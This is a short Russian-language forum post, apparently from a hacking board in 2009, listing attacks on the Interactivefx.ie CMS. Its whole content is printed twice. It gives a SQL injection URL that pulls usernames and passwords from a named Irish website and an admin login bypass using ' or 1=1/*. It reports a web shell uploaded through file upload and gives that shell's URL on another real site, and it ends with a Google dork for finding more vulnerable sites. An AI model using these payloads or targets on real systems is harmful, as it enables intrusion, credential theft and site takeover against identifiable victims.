$n@ke
01.02.2009, 21:01
Interactivefx.ie CMS
Sql-inj
http://www.garterlane.ie/event-details.php?id=223'+select+username,password+from+ users/*
Обход авторизации в админке
login:' or 1=1/*
pass: anypassyouwish
Заливка файлов есть и много, зависит от количества установленных дополнений, но, то ли .htaccess мешает, то ли еще что. Вобщем шелл залился только в одном случае, однако жестокая конфигурация сервера:
http://www.azzurri.ie/pdfs/stnc.php
google dork: "Copyright Interactivefx.ie"
Sql-inj
http://www.garterlane.ie/event-details.php?id=223'+select+username,password+from+ users/*
Обход авторизации в админке
login:' or 1=1/*
pass: anypassyouwish
Заливка файлов есть и много, зависит от количества установленных дополнений, но, то ли .htaccess мешает, то ли еще что. Вобщем шелл залился только в одном случае, однако жестокая конфигурация сервера:
http://www.azzurri.ie/pdfs/stnc.php
google dork: "Copyright Interactivefx.ie"